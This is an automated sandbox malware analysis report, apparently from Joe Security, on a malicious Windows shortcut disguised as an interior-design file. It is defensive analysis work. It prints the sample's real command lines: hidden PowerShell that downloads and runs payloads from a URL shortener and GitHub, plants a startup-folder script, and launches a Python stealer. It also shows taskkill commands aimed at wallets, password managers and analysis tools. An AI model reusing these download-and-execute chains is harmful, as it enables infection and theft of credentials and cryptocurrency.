Edit tour

Windows Analysis Report
interior-design-villa-a23.lnk

Overview

General Information

Sample name:	interior-design-villa-a23.lnk
Analysis ID:	1572140
MD5:	033e1509c8c2138bf1a76ea7f96635b4
SHA1:	b0c12eb7fb82f92567c4bfdeb860df702490ee1b
SHA256:	85482c2ff4c862c447c54bc32630e0416cf9bb39d0509a34e68a8bf5941b92ce
Tags:	lnkuser-abuse_ch
Infos:

Detection

MalLnk

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Sigma detected: Drops script at startup location

Sigma detected: Powershell downloading file from url shortener site

Suricata IDS alerts for network traffic

Windows shortcut file (LNK) starts blacklisted processes

Yara detected Powershell download and execute

Yara detected malicious lnk

AI detected suspicious sample

Excessive usage of taskkill to terminate processes

Machine Learning detection for sample

Powershell drops PE file

Sigma detected: Execution from Suspicious Folder

Sigma detected: PowerShell DownloadFile

Sigma detected: Powerup Write Hijack DLL

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Program Location with Network Connections

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Suspicious powershell command line found

Tries to download and execute files (via powershell)

Tries to harvest and steal browser information (history, passwords, etc)

Uses taskkill to terminate AV processes

Uses the Telegram API (likely for C&C communication)

Windows shortcut file (LNK) contains suspicious command line arguments

Connects to a URL shortener service

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Dropped file seen in connection with other malware

Drops PE files

Drops certificate files (DER)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Download Pattern

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious PowerShell Download - PoshModule

Sigma detected: Usage Of Web Request Commands And Cmdlets

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 7084 cmdline: "C:\WINDOWS\system32\cmd.exe" /c "powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6368 cmdline: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden" MD5: 04029E121A0CFA5991749937DD22A1D9)

cmd.exe (PID: 1780 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\temp.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1420 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7072 cmdline: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2196 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

python.exe (PID: 5820 cmdline: "C:\Users\Public\Document\python.exe" C:\Users\Public\Document\Lib\prt.py MD5: A7F3026E4CF239F0A24A021751D17AE2)

taskkill.exe (PID: 4868 cmdline: taskkill /F /IM ArmoryQt.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 3616 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1608 cmdline: taskkill /F /IM "Atomic Wallet.exe" MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 3916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6300 cmdline: taskkill /F /IM bytecoin-gui.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 6484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6720 cmdline: taskkill /F /IM Coinomi.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 6744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3104 cmdline: taskkill /F /IM Element.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 2136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5024 cmdline: taskkill /F /IM Exodus.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2312 cmdline: taskkill /F /IM Guarda.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 5300 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6376 cmdline: taskkill /F /IM KeePassXC.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 5804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1716 cmdline: taskkill /F /IM NordVPN.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 2176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3544 cmdline: taskkill /F /IM OpenVPNConnect.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 1188 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 332 cmdline: taskkill /F /IM seamonkey.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 944 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4176 cmdline: taskkill /F /IM Signal.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 2496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2164 cmdline: taskkill /F /IM filezilla.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 5124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7024 cmdline: taskkill /F /IM filezilla-server-gui.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 1668 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2936 cmdline: taskkill /F /IM keepassxc-proxy.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 3704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4416 cmdline: taskkill /F /IM nordvpn-service.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 5688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2332 cmdline: taskkill /F /IM steam.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 1228 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4464 cmdline: taskkill /F /IM walletd.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 5284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 2300 cmdline: taskkill /F /IM waterfox.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 3808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4480 cmdline: taskkill /F /IM Discord.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 6148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6316 cmdline: taskkill /F /IM DiscordCanary.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 6340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6608 cmdline: taskkill /F /IM burp.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 6612 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6904 cmdline: taskkill /F /IM Ethereal.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 6908 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 7136 cmdline: taskkill /F /IM EtherApe.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 7140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6740 cmdline: taskkill /F /IM fiddler.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 6496 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4496 cmdline: taskkill /F /IM HTTPDebuggerSvc.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 512 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1860 cmdline: taskkill /F /IM HTTPDebuggerUI.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 6276 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1608 cmdline: taskkill /F /IM snpa.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 2412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6488 cmdline: taskkill /F /IM solarwinds.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 6996 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5652 cmdline: taskkill /F /IM tcpdump.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 6744 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5232 cmdline: taskkill /F /IM telerik.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 2136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 4428 cmdline: taskkill /F /IM wireshark.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 2892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 412 cmdline: taskkill /F /IM winpcap.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 2504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 5804 cmdline: taskkill /F /IM telegram.exe MD5: A599D3B2FAFBDE4C1A6D7D0F839451C7)

conhost.exe (PID: 1988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
interior-design-villa-a23.lnk	JoeSecurity_MalLnk	Yara detected malicious lnk	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\temp.bat	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: cmd.exe PID: 1780	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 7072	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_7072.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Execution from Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Users\Public\Document\python.exe" C:\Users\Public\Document\Lib\prt.py, CommandLine: "C:\Users\Public\Document\python.exe" C:\Users\Public\Document\Lib\prt.py, CommandLine|base64offset|contains: , Image: C:\Users\Public\Document\python.exe, NewProcessName: C:\Users\Public\Document\python.exe, OriginalFileName: C:\Users\Public\Document\python.exe, ParentCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7072, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Users\Public\Document\python.exe" C:\Users\Public\Document\Lib\prt.py, ProcessId: 5820, ProcessName: python.exe

Sigma detected: PowerShell DownloadFile

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\temp.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1780, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , ProcessId: 7072, ProcessName: powershell.exe

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6368, TargetFilename: C:\Users\user\AppData\Local\Temp\temp.bat

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden", CommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\WINDOWS\system32\cmd.exe" /c "powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden"", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7084, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden", ProcessId: 6368, ProcessName: powershell.exe

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 208.95.112.1, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Users\Public\Document\python.exe, Initiated: true, ProcessId: 5820, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49799

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden", CommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\WINDOWS\system32\cmd.exe" /c "powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden"", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7084, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden", ProcessId: 6368, ProcessName: powershell.exe

Sigma detected: Windows Shell/Scripting Application File Write to Suspicious Folder

Source: File created

Author: Florian Roth (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7072, TargetFilename: C:\Users\Public\Document.zip

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 6368, TargetFilename: C:\Users\user\AppData\Local\Temp\temp.bat

Sigma detected: PowerShell Download Pattern

Source: Process started

Author: Florian Roth (Nextron Systems), oscd.community, Jonhnathan Ribeiro: Data: Command: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , CommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\temp.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1780, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force" , ProcessId: 7072, ProcessName: powershell.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\WINDOWS\system32\cmd.exe" /c "powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden"", CommandLine: "C:\WINDOWS\system32\cmd.exe" /c "powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden"", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\WINDOWS\system32\cmd.exe" /c "powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden"", ProcessId: 7084, ProcessName: cmd.exe

Sigma detected: Suspicious PowerShell Download - PoshModule

Source: Event Logs

